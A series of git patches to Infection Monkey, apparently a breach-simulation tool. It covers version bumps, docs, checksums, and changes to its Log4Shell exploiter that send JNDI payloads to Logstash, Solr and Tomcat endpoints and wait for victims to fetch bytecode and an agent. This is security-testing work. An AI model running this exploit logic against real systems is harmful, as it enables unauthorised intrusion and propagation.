    From 83d2a0aac062342338422b02cbd9a4771c2c4d3c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 20 Jan 2022 17:49:02 +0530 Subject: [PATCH 74/87] Common, UI: Bump version numbers to 1.13.0 --- monkey/common/version.py | 2 +- monkey/monkey_island/cc/ui/package-lock.json | 2 +- monkey/monkey_island/cc/ui/package.json | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/common/version.py b/monkey/common/version.py index 5c94adc8d..b3f4a6c2b 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -4,7 +4,7 @@ import argparse from pathlib import Path MAJOR = "1" -MINOR = "12" +MINOR = "13" PATCH = "0" build_file_path = Path(__file__).parent.joinpath("BUILD") diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 181110929..38c8593cb 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -1,6 +1,6 @@ { "name": "infection-monkey", - "version": "1.11.0", + "version": "1.13.0", "lockfileVersion": 1, "requires": true, "dependencies": { diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index da6200c25..11c2bfe51 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -1,6 +1,6 @@ { "private": true, - "version": "1.12.0", + "version": "1.13.0", "name": "infection-monkey", "description": "Infection Monkey C&C UI", "scripts": { From 6d87289bd0991fab428e8d785f6b7104f7214347 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 20 Jan 2022 08:17:57 -0500 Subject: [PATCH 75/87] Agent: Minor change to log statement in ExploitClassHTTPServer --- .../exploit/log4shell_utils/exploit_class_http_server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 6b956529b..612bda270 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -33,7 +33,7 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): HTTPHandler.class_downloaded.set() - logger.info("Java class servergot a GET request!") + logger.info("Java class server received a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") self.end_headers() From e576136a63b52efb44c3c08f5525407b4ff05f13 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 20 Jan 2022 08:52:09 -0500 Subject: [PATCH 76/87] Agent: Skip Log4Shell exploiter if there are no open ports --- monkey/infection_monkey/exploit/log4shell.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 48d331aaa..ed2290279 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -45,8 +45,15 @@ class Log4ShellExploiter(WebRCE): self._ldap_server = None self._exploit_class_http_server = None self._agent_http_server_thread = None + self._open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] def _exploit_host(self): + if not self._open_ports: + logger.info("Could not find any open web ports to exploit") + return False + self._start_servers() try: return self.exploit(None, None) @@ -130,11 +137,8 @@ class Log4ShellExploiter(WebRCE): def exploit(self, url, command) -> bool: # Try to exploit all services, # because we don't know which services are running and on which ports - open_ports = [ - int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] for exploit in get_log4shell_service_exploiters(): - for port in open_ports: + for port in self._open_ports: try: exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) except Exception as ex: From d21dd6da1330e8beebfeb9b3d494b71122a657e0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 20 Jan 2022 10:26:12 -0500 Subject: [PATCH 77/87] Agent: Wait for victim to download agent before killing servers The Log4Shell exploiter requires the victim to contact a number of different servers. Wait a reasonable amount of time for the victim to call home and download the agent before issuing the shutdown command to the server. --- monkey/infection_monkey/exploit/log4shell.py | 56 ++++++++++++++++---- 1 file changed, 46 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index ed2290279..bd0e468f9 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -1,5 +1,5 @@ import logging -from time import sleep +import time from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.log4shell_utils import ( @@ -13,6 +13,7 @@ from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import DOWNLOAD_TIMEOUT as AGENT_DOWNLOAD_TIMEOUT from infection_monkey.model import ( DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, @@ -31,8 +32,10 @@ class Log4ShellExploiter(WebRCE): _TARGET_OS_TYPE = ["linux", "windows"] EXPLOIT_TYPE = ExploitType.VULNERABILITY _EXPLOITED_SERVICE = "Log4j" - DOWNLOAD_TIMEOUT = 15 - REQUEST_TO_VICTIM_TIME = 5 # Max time agent will wait for the response from victim in SECONDS + SERVER_SHUTDOWN_TIMEOUT = 15 + REQUEST_TO_VICTIM_TIMEOUT = ( + 5 # Max time agent will wait for the response from victim in SECONDS + ) def __init__(self, host: VictimHost): super().__init__(host) @@ -101,11 +104,11 @@ class Log4ShellExploiter(WebRCE): def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") - self._agent_http_server_thread.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._agent_http_server_thread.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) - self._exploit_class_http_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._exploit_class_http_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) - self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._ldap_server.stop(Log4ShellExploiter.SERVER_SHUTDOWN_TIMEOUT) def _build_ldap_payload(self) -> str: interface_ip = get_interface_to_target(self.host.ip_addr) @@ -147,13 +150,46 @@ class Log4ShellExploiter(WebRCE): f"potential {exploit.service_name} service: {ex}" ) - # Wait for request - sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) - - if self._exploit_class_http_server.exploit_class_downloaded(): + if self._wait_for_victim(): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, "port": port, } return True + return False + + def _wait_for_victim(self) -> bool: + victim_called_back = False + + victim_called_back = self._wait_for_victim_to_download_java_bytecode() + if victim_called_back: + self._wait_for_victim_to_download_agent() + + return victim_called_back + + def _wait_for_victim_to_download_java_bytecode(self) -> bool: + start_time = time.time() + + while not self._victim_timeout_expired( + start_time, Log4ShellExploiter.REQUEST_TO_VICTIM_TIMEOUT + ): + if self._exploit_class_http_server.exploit_class_downloaded(): + return True + + time.sleep(1) + + return False + + def _wait_for_victim_to_download_agent(self): + start_time = time.time() + + while not self._victim_timeout_expired(start_time, AGENT_DOWNLOAD_TIMEOUT): + if self._agent_http_server_thread.downloads > 0: + break + + time.sleep(1) + + @classmethod + def _victim_timeout_expired(cls, start_time: float, timeout: int) -> bool: + return timeout < (time.time() - start_time) From 5bf82659bd4ed1f5ad5120dbc907119ed92790fa Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 20 Jan 2022 12:14:52 -0500 Subject: [PATCH 78/87] UI: Switch CVE-2021-44228 from href to react-bootstrap Button This resolves an eslint error regarding `target="blank"` without `rel="noopener"` and makes this code more consistent with other code. --- .../security/issues/Log4ShellIssue.js | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js index d76b3131f..0adec1540 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js @@ -1,5 +1,6 @@ import React from 'react'; import CollapsibleWellComponent from '../CollapsibleWell'; +import {Button} from 'react-bootstrap'; export function log4shellIssueOverview() { return (
  • Some servers are vulnerable to the Log4Shell remote code execution exploit.
  • ) @@ -14,8 +15,15 @@ export function log4shellIssueReport(issue) { className="badge badge-info" style={{margin: '2px'}}>{issue.ip_address}:{issue.port}) is vulnerable to the Log4Shell remote code execution attack.
    - The attack was made possible due to an old version of Apache Log4j component. CVE-2021-44228 + The attack was made possible due to an old version of Apache Log4j component ( + ). ); From 4c30118f67afa5b7c7977c037a3effa49efd7e62 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 20 Jan 2022 14:38:14 -0500 Subject: [PATCH 79/87] Docs: Increase v1.12.0 -> v1.13.0 --- docs/content/setup/docker.md | 4 ++-- docs/content/setup/linux.md | 8 ++++---- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index db5979fc6..4cc40fc55 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -23,13 +23,13 @@ The Infection Monkey Docker container works on Linux only. It is not compatible 1. Extract the Monkey Island Docker tarball: ```bash - tar -xvzf InfectionMonkey-docker-v1.12.0.tgz + tar -xvzf InfectionMonkey-docker-v1.13.0.tgz ``` 1. Load the Monkey Island Docker image: ```bash - sudo docker load -i InfectionMonkey-docker-v1.12.0.tar + sudo docker load -i InfectionMonkey-docker-v1.13.0.tar ``` ### 2. Start MongoDB diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 275330c2c..6afe38a4d 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -30,11 +30,11 @@ On Windows, AppImage can be run in WSL. 1. Make the AppImage package executable: ```bash - chmod u+x InfectionMonkey-v1.12.0.AppImage + chmod u+x InfectionMonkey-v1.13.0.AppImage ``` 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./InfectionMonkey-v1.12.0.AppImage + ./InfectionMonkey-v1.13.0.AppImage ``` 1. Access the Monkey Island web UI by pointing your browser at `https://localhost:5000`. @@ -59,7 +59,7 @@ private certificate authority. `server_config.json` file. ```bash - ./InfectionMonkey-v1.12.0.AppImage --setup-only + ./InfectionMonkey-v1.13.0.AppImage --setup-only ``` 1. (Optional but recommended) Move your `.crt` and `.key` files to @@ -95,7 +95,7 @@ private certificate authority. 1. Start Monkey Island by running the Infection Monkey AppImage package: ```bash - ./InfectionMonkey-v1.12.0.AppImage + ./InfectionMonkey-v1.13.0.AppImage ``` 1. Access the Monkey Island web UI by pointing your browser at From 75ed119c008245d99c51efc9fc250a76f0037e96 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 21 Jan 2022 07:39:12 -0500 Subject: [PATCH 80/87] Changelog: Add changelog entries for Log4Shell exploiter --- CHANGELOG.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 295fc9442..e48306308 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,15 @@ file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). +## [Unreleased] +### Added +- A new exploiter that allows propagation via the Log4Shell vulnerability + (CVE-2021-44228). #1663 + +### Fixed +- Exploiters attempting to start servers listening on privileged ports, + resulting in failed propagation. 8f53a5c + ## [1.12.0] - 2021-10-27 ### Added - A new exploiter that allows propagation via PowerShell Remoting. #1246 From 189505a97db6ce09a717785f0ce33068c06ea539 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 21 Jan 2022 15:32:08 +0200 Subject: [PATCH 81/87] Agent: add vulnerable log4shell url's Url's are used in mitre report --- monkey/infection_monkey/exploit/log4shell.py | 3 ++- .../log4shell_utils/service_exploiters/i_service_exploiter.py | 3 ++- .../exploit/log4shell_utils/service_exploiters/logstash.py | 4 +++- .../exploit/log4shell_utils/service_exploiters/solr.py | 2 ++ .../exploit/log4shell_utils/service_exploiters/tomcat.py | 4 +++- 5 files changed, 12 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index bd0e468f9..de2d2ace2 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -143,7 +143,7 @@ class Log4ShellExploiter(WebRCE): for exploit in get_log4shell_service_exploiters(): for port in self._open_ports: try: - exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) + url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) except Exception as ex: logger.warning( "An error occurred while attempting to exploit log4shell on a " @@ -155,6 +155,7 @@ class Log4ShellExploiter(WebRCE): "service_name": exploit.service_name, "port": port, } + self.exploit_info["vulnerable_urls"].append(url) return True return False diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py index 963925e4d..3d7951d76 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/i_service_exploiter.py @@ -12,5 +12,6 @@ class IServiceExploiter(metaclass=abc.ABCMeta): @staticmethod @abc.abstractmethod - def trigger_exploit(payload: str, host: VictimHost, port: int): + def trigger_exploit(payload: str, host: VictimHost, port: int) -> str: + # Return the URL the exploit was attempted on raise NotImplementedError diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py index ae0f93608..d347a0e4f 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/logstash.py @@ -15,6 +15,8 @@ class LogStashExploit(IServiceExploiter): def trigger_exploit(payload: str, host: VictimHost, port: int): url = f"http://{host.ip_addr}:{port}/_node/hot_threads?human={payload}" try: - resp = requests.get(url, timeout=5, verify=False) # noqa DUO123 + requests.get(url, timeout=5, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") + + return url diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index 930c6092c..a21d66a3a 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -18,3 +18,5 @@ class SolrExploit(IServiceExploiter): requests.post(url, timeout=5, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") + + return url diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py index 018896207..68e0cfdf9 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -16,6 +16,8 @@ class TomcatExploit(IServiceExploiter): url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample" payload = {"dataname": "foo", "datavalue": payload} try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") + + return url From a59c6b59b68cb68f228a05c56452dcaadc4cbeb2 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 24 Jan 2022 10:29:44 +0200 Subject: [PATCH 82/87] Docs: add hashes of 1.13.0 release binaries --- docs/content/usage/file-checksums.md | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) diff --git a/docs/content/usage/file-checksums.md b/docs/content/usage/file-checksums.md index af22ebdbf..bd87ee049 100644 --- a/docs/content/usage/file-checksums.md +++ b/docs/content/usage/file-checksums.md @@ -35,6 +35,19 @@ $ sha256sum monkey-linux-64 ## Latest version checksums +| Filename | Type | Version | SHA256 | +|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| +| monkey-windows-64.exe | Windows Agent | 1.13.0 | `3EDD20DE2247047C8A822C84145981936CE2FD0BDF843EB5CA777CA4D2478B35` | +| monkey-windows-32.exe | Windows Agent | 1.13.0 | `7497907E3CF4FFEB121A7795BFA16709800E6E0F99770F64AF7FFF684ECBA6D6` | +| monkey-linux-64 | Linux Agent | 1.13.0 | `F21E709CB7BA8DAF90B908AF5FE485BA43866C325D3C7CE1EB07E8A2323E07C1` | +| monkey-linux-32 | Linux Agent | 1.13.0 | `24C5779825F26C76A8910794836647096F4BB4B47CFD6AD213CC48116D140FAB` | +| InfectionMonkey-v1.13.0.AppImage | Linux Package | 1.13.0 | `CDED4E8394A4D2A809BA9B74B924AEA590317515B9B032BA8005A93DFCE1C861` | +| InfectionMonkey-docker-v1.13.0.tgz | Docker | 1.13.0 | `342701BA8EC5B754C59685896FC3DCDBB93362FFFAD0EC7F9E2E5B99DA26F5EC` | +| InfectionMonkey-v1.13.0.exe | Windows Installer | 1.13.0 | `D35ED6CAF21AC786D9A438510282FA07AEF812590A5E6405A01F2B06661B33B9` | + + +## Older checksums + | Filename | Type | Version | SHA256 | |------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| | monkey-windows-64.exe | Windows Agent | 1.12.0 | `02e5e051a96e2ca61ae8e661b3a5828ee53a0fc00aca6502d5c73a46754f0d07` | @@ -44,12 +57,6 @@ $ sha256sum monkey-linux-64 | InfectionMonkey-v1.12.0.AppImage | Linux Package | 1.12.0 | `1325f2aa1d0c27aec2e2f9864ed53c53c524bd208313f87ea6606f59c90ff310` | | InfectionMonkey-docker-v1.12.0.tgz | Docker | 1.12.0 | `dcaf669411d55ea6883920597af4a35f3735a286801e08b6ef047cc91ff32769` | | InfectionMonkey-v1.12.0.exe | Windows Installer | 1.12.0 | `4d6e0373be3615a4b97721a07d2a854f6316d1ce8c4ff6d6495aac3a8f2c6a69` | - - -## Older checksums - -| Filename | Type | Version | SHA256 | -|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| | monkey-windows-64.exe | Windows Agent | 1.11.0 | `12c55377381a8fc7d8ff731db52302ef2f8bb894d8712769e5a91a140ba22b0a` | | monkey-windows-32.exe | Windows Agent | 1.11.0 | `e006b26663f59b92bad8d49b034cd8101dd481f881e3c4839a9c1e64fd99e849` | | monkey-linux-64 | Linux Agent | 1.11.0 | `fb4c979ce6c29bb458be50a44cc6839650826b831da849da69a05dfefdc66462` | From 014108e360d4be0ed0de1102a3f0049a7937bbfc Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 25 Jan 2022 14:59:55 +0200 Subject: [PATCH 83/87] Docs: remove outdated documentation about AWS deployment --- docs/content/setup/aws.md | 7 +------ .../images/setup/aws/aws-instance-id.png | Bin 243023 -> 0 bytes 2 files changed, 1 insertion(+), 6 deletions(-) delete mode 100644 docs/static/images/setup/aws/aws-instance-id.png diff --git a/docs/content/setup/aws.md b/docs/content/setup/aws.md index 916889ba6..9b4fc6410 100644 --- a/docs/content/setup/aws.md +++ b/docs/content/setup/aws.md @@ -24,12 +24,7 @@ When ready, you can browse to the Infection Monkey running on the fresh deployme `https://{public-ip}:5000` -You will be presented with a login page. Enter the username **monkey**, and the -new EC2 instance's **instance ID** for your password. To find your instance ID, -go to the EC2 console and select your instance. It should appear in the details -pane below. - -![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID") +To login to the machine, use *ubuntu* username. ## Integration with AWS services diff --git a/docs/static/images/setup/aws/aws-instance-id.png b/docs/static/images/setup/aws/aws-instance-id.png deleted file mode 100644 index 31c218090bbc8c7af73b46f94ff5f002ffe43589..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 243023 zcma&Nbx<5#*Dnfz;1(dbJAvTt1a}QC8QfuTcL`2#cXxNU!Civ8%iu1T_tbfw_dEC8 zKWh|QdAiN0tOla;?pb~%m-y@(>wqIf&@ZJ zR9Mw@`E<=C9`om2_a(TjG-?*`31cYsi)ajqe;Ap8(YV2cWpA}VBzbG${8y;KdEM6( zhyHRJI0GzU3OGp<92_czgHrb{L3bD!=$_w0ujv6Qy7N_~Pfi!<9vf{6PKVr*D{qABjwA}FhpCmX^Z=YDS|C7=P_5X*mu+ZtZ;jfIa=u}b`{zZXGvT%lmgc^qg z9UkN2S*lRETvJ7i0-Y=#!^#YHp52K8UFzy8_n}>{exkBQM_WBQ2Qxd@oKr zP`-3sToGM2sRxByyGSJ3N2*p;vKem9`fwU<-dq{3Y+>o*_kT>vWnAN9pszKrufeWc z5pdegwA|$sGs@^`Oq0NQRTFdf0C-z~eQ}HrWe{O#F zQTU~a#anMPa2>r4N}BE5o7$P!4O1e=;oe3@*whzFr#R1XcPYLntl9w zkXm`c`y}nRc#^|_brALZ2FivCnKkTwLn3geAojVU>~MEHxB$RbTR3qS(5VAAr#j5_ zl!sEozO_1^cSq^+d}6BhA)YxxYP6nhazSm^W87fW5FL#*nBd#vO01wa-0TdQHJ#e{ zYx)hw-NHxH_ob@+eJK#k_g3liik8&EeXB+E5Q!z*IB)!hozQ^9cH*I4n_@Ry+T z(NYE|)BDfjMrQX?QI^ms7G;d|bc+hCzaNB5Qj)UH-v~Rd{?ssO7%(@4@8X7g*4^1M zT4{ z;gf_B&7Us7@3Ng&k~Lc=!MUKSc0Ev!E86$*ZNaQ_UgxcfB%-|zRI2OY1O4lzq}c@q zrgm#(v&Eds#>DsvCA0WFa!&MqmU&xrJ5}jF#br5ETWAO&q0szX=g#QEst78){l^w1 zaxFM=3n^1thHibLeR{G5kE1ug7q~)k=0n-=K5GR4(0>OHGdDdBOKL}+w9YLo%(kh! zTwU8go{riweMi)65&f?ayy&c0uz7s1V80ZNg$h0&=&Hn*E5oAf$Dp-Z89ca!h?)4i zD^4z(#T@>%z!(XynXW>Mtw=vB)AMcKG1KQ(j)4G($NM1*rC03nm|w4!)4*G;43^(Y zahQ+s82IklP>34^d0oH=-5wZ4c6(0mg`RSsiK0y{UHT^T?J_7_?VB%xSC*Qz9pdA1 zZ`xdN9p3R(sgV5>FUz3jhmB$Z*lXPbB3c*y0WQqv4K0}BP}%!IEE}|@%nNS1klb=QLKa6Mkm2na7cq7{s{)VGh1#sx1(_vp+ zHQZn8@CkQgbZ;}pLp&1Fer`NN52qf2e`>i%S7~{wMNHnUZ&=jb+J^#MFoGgzjN`FCmdbF9~GZ{|-bq3sLJAj-W&;Lff^S{y8 z?N5;Zk(}w&)gGbycInRF&h|!#)JKAb!sK!8`377P#N|CFg*jbLtCJV>dxZf@SzGgy zi|Yj$Ytl4)k6d(;q~J?;xxI}LFyXYo_6nFdk$u7Bw`bYeylTUOdVI6y~9ra)&`ji(;c5bhqBqec3>Wa|-II^wR( z;X9ZXC!seKVr)`eRZ&pL5V`OR#$jj_b;pIh(NINKQ*30ok(o~*_wmci#Q`!y8wdPe zo>LX%DMz+%t1+S`h611sMa-IqDf?b7{~N<@tGdO-viZW?+#h?$J~B=`O3a&V!Zagm zU0Sk6tfCDg9g<(N?^hdOR;K_Xq_%>UOfe|pUAF#Y;&(XehY!J%V=tkBf6h?#;ZQUBBQ$oS$32%!~YjR0Dxif z?VBX`5;%r4Mnsqmwm?}`eGaYedv4I9Xav&y&-pn@q}=h`WUeuLvoO>xY!Da0${_JX z!8i)(hVs$^~mtItnQ zo3a8DgrfyKX7fa#XY({!ZxIFb>hXNiu#kwFsoz}Lar-FHP;!vvY-MYd-NMwS zGf&+tV0-sASl%mu>DPr>Pw`}&pu)mJ-#3xFeB&W#C}~r<{gb_UBLgf-!YAOb4RrcG zN)Ag7l_JLcR+_Lc3Nt>3J@q4y);JW4^gC%K4x!kA%x~qCzvKN%2+?nW*|BXXxPuL| z*xA4(+gs_wOUue3%*b;r_igE;y;TNQv-9rqm z&0(`x%f!p2_@%k8;_xka*kYxv5ks9ImTiB-zoeIx*jXKdE_^DVk+xE4ZS7u(I*v3~ z(yQYDMP43?rwWSt2Svp#Av4iM7nl|Plu7deh{8A$OCP3k#wKc51@i*3KzY=Uyk2E)Q zInr#Q&uD}gd%YD_zw=vuRvOHus6RjK-NB;-c%aex!~&kpo@`L8iz8fndy0tMrK z%^zDh0w7z&)34^?>j5!RMa-Vum>jmjKh?)ek8wt({yM{y>x3a(!@04{sjDffB~759 zMPn(&A5j0)9ymUBM=JPTr6=AsTWRpptiom0C6dfl6s4A-jb_L0^G2HA6=_Wy)}e$a zSug`}I#+=h;0&HzeMIDbv4yo;8ghUeNh0&MhnFj+sjjJ*TC z1OqP41EU`%bvYp~<{YY&HGf8$r|3A|;RcFudtOXak7-wjdoDHU+%91~9Ahzr$=cqPY4_nR$dwWHjuI3#~u`;fZU7i_L z^0`ykw(5zmUokr04-DgA1y_`4sLD;tyYbmQ;id~(Gk8tlk7Hnihg6!fMCwE;cc1!P zwnA4Xws)DG(mAe_ZCc!D#E@N-AJ5`+*seGPO8Am%P<1E#bnR%?TT+zid)9Sh7~zi8Oq-25BR)?57U#U2R;6YpYiGXR*(Bi%&B9mL3&tx&Ras zjz|^!lcl&#z>y7NgC9MLZ*KEHbs9`Z2ju~J8}CfVQTQ6Ok6h>N2k5=5nfYMAyOHoc z>8j7Y96_rQ-z$SxfdW3+*r^L=mCJd29nX<29R2wa zI&gbxT?l)-;e>r=%LSDUfnem*4?!YM5jmcuKCPQyLJ)esiq&@H531#c58P)=zn%%an9WH3AoRR4}tsig%oQb2n< zO``dm4f)OY(cIF~u%`7i$&Gd1>w(4Dqo&abOzf}r=eX3hX2UF<=^O!9R|r0DlPk-#GJ%#5KSHGp6Xmzh12J&=u+%RDIw!}_bY(9#OfP2jKMx{@Qi$K4A-7| zp7<^IrN?;6M@TJym>R8Bh-G3hkkBH7flYqjF!Afgt8R|2-9MskcvOKaOu`j#cip=S zs>-@sW(c??C`r#F4L+`LCP!EM>iQ!yB-$T)_A3}w|HS08Wq`$~83n5ScyxH#q4Rpn z$im{}_rP|&%~HC8>iyRoZ83^JBbGp; zr5xoG?Rv)@8H^Kn{OG+iPScg!z>J}z75~&{C`$2(FS_dq<$9E@Ibp6`2Pyz{H#aRr znGGx=?s7IX+$1Pwc7VbCmLB)la%_p1GAeYb%C?tJR9&w~)PxQ+;YpRqg(g&08yBSf_k7W?!S|#bmtdq*?ih!v z)KTBO$(>SNp4o<#b%JT;{u|gqJG=W#BpiDPQ$6mKpEW4y&c_8G8Z6W4c}CRgc-&v1 zppbt}Oa1^#@yTnf4J+k}S6|3WfIot6_{uR{%CqViy!?|LZBDlJK^DekIe{9xe)Gr@ zg~ax;?X>L~GM&Yq?@wnR*ZrwpMDwxe1QFI=P8vhL%Kdsf3+EW{ohRef15{l4S#qn{ zdI78kz~3z`N`S>`pRf1AQivU7k+n?-6$Im zrl$`T?tCz2;H|~*VsuMouYj?iZ0I}MXiXm|E1UkAFxLi?m{M5Tik@zDaMLqr7!e7OIO`^cZm6+@Ai5|KOzN@)(>ll0Uh72KkcFA;R#>~$-d+DTsP^mg($UmhzFVAC2NzwbLd z{FdRqwI#f0SPqquh}?}Q+}M5>c#cI$TJ5grXr1C=N(XWh2u;W0yEb?7C#`zZ6`jRW z*oN3d5WS*Cftezus$Qdy1nEUiF!g0UGf=ydMOJIQF)1b!r8t|f_sbsaUNCOJD{&aX z#3S)8nS1_q^0}q0CYCNIjE&=yXdl%YM*8BL^2F6{YFjU?lqx~8?=Uy`EzEOLyUO(1tH`GUmb{Oub^&xwwccrAbZ9_kIztVKinhOv%*E$L7co;DpG+DBJa}Iw?s}B4MzxVJe5~+5bQ4m z?yeVIU8!@Y*Gxv$lZhA?{aJk#O!GI%fFSlj9yxf#*555qxIUV`$2oVs#8H!f_T_zd zqpmx?Gj$x@SG>lZjA~AEE0DpxegPrj3Ix9C-fve+u@)<%vB}1c^n^!Zv+|xv`CUEc z>}#Jt?UGY{xBKfeq}b~5>zEGpa-bgkwY>BsjI(+llCj4#)^*ojKs`=U!YtJCw0{owXr2|VZP? zj&7;>^cY8z7)_5Qzz(AoO-jl-{XZAq)9^t$(oGB*Ee1En^xB5fk$dn_+Jrf#8+$6r(+Igjvihj*#0GtXduJuuVkk zxUePY0+V!lw}tH`$hcabimsm)~$(5SiUl?!0Q!$=hMEn z4rT*woQ855pwdr@$ck)o^qlpZz7vGNR1Mktc1H!R7b>ab56}`>B zdb;Kf&rPZzU&V+$)-GdbIeu`Y!k@~r90n9W-;eBzUinMX%S1=bs5E4MAbu$;hXzO4fhVYbZ%@|s z-TFtO)ZVdsr^l75yWms`Adg``K9Sd9E`iu?On8!YJ3Y-+FhwTQbe3`c;QDG>-GTdJ zYK!lFE{~7vT#bHqGY1xY5ats_8Ncx<>)@X5)qe}B!M`n-XzbM(%FX?X3*~s}&n(Q{ zeqPo7FJ4?sqS$$d2j?f2;~k8lW=I3$z4G*HA_-*A-<`1U0bN z`{>AXzo2qnu#(qla{P%-r+r|Nu=0Mw^x0{4nxSM(>Ws|M#=&c)D(wHTiGqI^W=>-1 zaHbl?8OzQA)lBkQx?Xp=T>)17*iPUr5?h`gV1oZD^?Dn0BGTDhX-ysYSFg+BL1JZ~VDYw1n| 